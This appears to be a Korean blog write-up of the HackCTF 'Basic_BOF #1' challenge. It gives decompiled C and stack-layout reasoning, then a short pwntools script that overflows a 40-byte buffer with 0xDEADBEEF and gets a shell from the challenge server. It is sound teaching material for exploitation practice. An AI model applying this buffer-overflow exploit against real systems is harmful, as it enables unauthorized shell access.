Basic_BOF #1 풀이

2021. 6. 15. 22:19HackCTF

728x90

문제 정보

문제 파일인 bof_basic이 바이너리 파일로 주어졌으니 IDA를 이용해서 C 소스파일의 형태로 보겠습니다.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 67305985;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 67305985 && v5 != -559038737 )
    puts("\nYou are on the right way!");
  if ( v5 == -559038737 )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

코드를 보면 char형 배열 s, int형 변수 v5를 선언합니다.

 

그리고 v5에는 67305985라는 값을 입력하는데, 이를 16진수로 바꿔보니 4030201이 됩니다.

그러므로 실제 어셈블리 코드에서는 저 v5에 0x4030201이 들어갔을 거라 유추할 수 있습니다.

 

s는 fgets로 45byte 문자열을 입력받는 역할을 해줍니다.

 

이렇게만 보면 어디서 어떤 취약점이 나오는지 알 수 없으니 어셈블리 코드도 함께 보겠습니다.

 

bof_basic의 어셈블리 코드

우선 스택에 0x34만큼의 공간을 할당해줍니다. (0x34=52)

그리고 0xc만큼의 공간을 할당하고 거기에 0x4030201을 넣어줍니다. (0xc -> C -> 12)

그러면 s에 현재 남는 공간은 52-12=40byte가 될 것입니다.

 

여기서 위의 C 소스코드를 보면 fgets를 호출 할 때 입력받는 크기를 45라고 지정해놨습니다.

그러므로 Buffer Overflow가 일어날 것입니다.

 

이제 파이썬으로 문제 해결을 위한 소스코드를 짜보겠습니다.

 

from pwn import *

a=remote("ctf.j0n9hyun.xyz", 3000)
pause()

b='a'*40+p32(0xDEADBEEF)

a.sendline(b)
a.interactive()

이 소스코드를 컴파일하고 실행시키면 아래와 같이 FLAG가 나오게 됩니다!

 

FLAG 획득 성공
문제 풀이 성공

728x90

'HackCTF' 카테고리의 다른 글

Simple_Overflow_ver_2 풀이  (0) 2021.07.14
x64 Simple_size_BOF 풀이  (0) 2021.07.13
내 버퍼가 흘러넘친다!!! 풀이  (0) 2021.07.12
x64 Buffer Overflow 풀이  (0) 2021.06.16
Basic_BOF #2 풀이  (0) 2021.06.16